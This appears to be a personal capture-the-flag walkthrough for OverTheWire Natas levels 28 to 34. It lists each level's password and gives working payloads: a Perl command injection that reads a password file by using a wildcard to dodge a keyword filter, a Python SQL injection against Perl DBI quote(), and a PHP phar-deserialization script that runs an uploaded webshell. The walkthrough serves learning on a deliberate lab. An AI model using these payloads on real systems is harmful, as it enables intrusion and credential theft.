`natas28:1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj`
# natas28
it's a crypto web challenge, i can't solve it.
`natas29:31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns`
# natas29

this challenge has no source. it is running a file named `index.pl`, perl language.
this language is old, so the docs are not much. i really have no idea for this post so i just look at its tutorial.
it is a command injection vulnerability.

you can read more here https://research.cs.wisc.edu/mist/SoftwareSecurityCourse/Chapters/3_8_2-Command-Injections.pdf
the payload must be `|<command>%00`, `%00` is null character, may be it just likes `#` to comment the rest of command.
when i cat the `index.pl` file, i realize that why we need `%00`.

they concatenate our input (file param) with `.txt`, therefore `%00` to have a valid command.
one more thing is that they sanitize the word `natas`, but the password we need to read is in `/etc/natas_webpass/natas30`. we can bypass this check with `? - wildcard character`
in linux, `?` symbol represents any character in the filename. therefore, we can use `n?tas`, linux will read it as `natas`, `nbtas`, `nctas`, ... if no file matches the pattern, the command will return error `No such file or directory`.
-> use payload `|cat /etc/n?tas_webpass/n?tas30%00`

`natas30:WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH`
# natas30
```perl=
#!/usr/bin/perl
use CGI qw(:standard);
use DBI;
print <<END;
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas30", "pass": "<censored>" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<!-- morla/10111 <3 happy birthday OverTheWire! <3 -->
<h1>natas30</h1>
<div id="content">
<form action="index.pl" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
END
if ('POST' eq request_method && param('username') && param('password')){
my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));
my $sth = $dbh->prepare($query);
$sth->execute();
my $ver = $sth->fetch();
if ($ver){
print "win!<br>";
print "here is your result:<br>";
print @$ver;
}
else{
print "fail :(";
}
$sth->finish();
$dbh->disconnect();
}
print <<END;
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
END
```
this is a sqli vulnerability in perl DBI->quote().
read more here: https://security.stackexchange.com/questions/175703/is-this-perl-database-connection-vulnerable-to-sql-injection
to summary, if you pass the user controlled variable directly like this `$dbh->quote(param('paramater'))`, the problem will be as follows:
- param() function can return an array if the user sends a request like this: name=foo&name=bar
- quote function if it receives a list with 2 elements, the second element is 4 - SQL_INTEGER, it will return an unquoted value.

Payload:
- burp suite

- python
```python=
def vuln(url):
params={"username": "natas31", "password": ["'lol' or 1", 4]}
print(requests.post(url, data=params).text)
```
`natas31:m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y`
# natas31
i don't know how to explain this one because perl is an old language and is less popular now because its syntax is more complex and old docs are difficult to access.
read the solution here: https://learnhacking.io/overthewire-natas-level-31-walkthrough/
`natas32:NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B`
# natas32
this challenge is similar to the previous challenge, but in the solution of the above article, the author mentioned the command execution method.
`natas33:2v9nDlbSF7jvawaCncr5Z9kSzkmBeoCJ`
# natas33
```php=
<?php
// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
private $filename="";
private $signature='adeafbadbabec0dedabada55ba55d00d';
private $init=False;
function __construct(){
$this->filename=$_POST["filename"];
if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {
echo "File is too big<br>";
}
else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
echo "Firmware upgrad initialised.<br>";
}
else{
echo "There was an error uploading the file, please try again!<br>";
}
}
}
function __destruct(){
// upgrade firmware at the end of this script
// "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
chdir("/natas33/upload/");
if(md5_file($this->filename) == $this->signature){
echo "Congratulations! Running firmware update: $this->filename <br>";
passthru("php " . $this->filename);
}
else{
echo "Failur! MD5sum mismatch!<br>";
}
}
}
?>
```

this is a phar deserialization challenge, i love this one.
we can upload any extension file, but can not access it directly, although it is in natas33 upload folder, it has been properly authorized so that user can not access it directly.
we can upload a php webshell, but can not directly access it. how can we solve this one?
here the phar deserialization vulnerability appears as follows:
- 1 class (`Executor`) is loaded into the current file (`index.php`), it has 1 of 2 magic methods (`wakeup` or `destruct`, actually other magic methods are fine, but with these 2 magic methods it will be automatically executed when an object is unserialized or deleted from memory).
- the destruct magic method has the line `passthru("php ".$this->filename);` we can take advantage of it to run our webshell file.
- a function accepts php wrappers with input we can control, here is the `md5_file` function in the destruct magic method with the filename variable we have complete control over to be able to call the phar wrapper `phar://abc.phar`
oh, one more thing, we have another vulnerability here. it is php type juggling exploiting loose comparison in php. code segment `md5_file($this->filename) == $this->signature`, we just need to assign `$this->signature` to `true`, the comparison will always be true (unless the md5 function result is in the form `0e<only digits>`)

script php to gen phar:
```php=
<?php
class Executor { }
// Create a new instance of the Dummy class and modify its property
$dummy = new Executor();
$dummy->filename = "perrito.php";
$dummy->signature = True; //our payload
$dummy->init = False;
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
// Add a new file in the archive with "text" as its content
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
```
run command `php --define phar.readonly=0 gen_phar.php` or set `phar.readonly` in `php.ini` file equal `false`. otherwise you will receive an error

attack flow:
- step1: upload a web shell

- step2: upload poc.phar to server

- access phar file we uploaded with phar stream

`natas34:j4O7Q7Q5er5XFRCepmyXJaWCSIrslCJY`
# natas34
# Congratulations! You have reached the end... for now.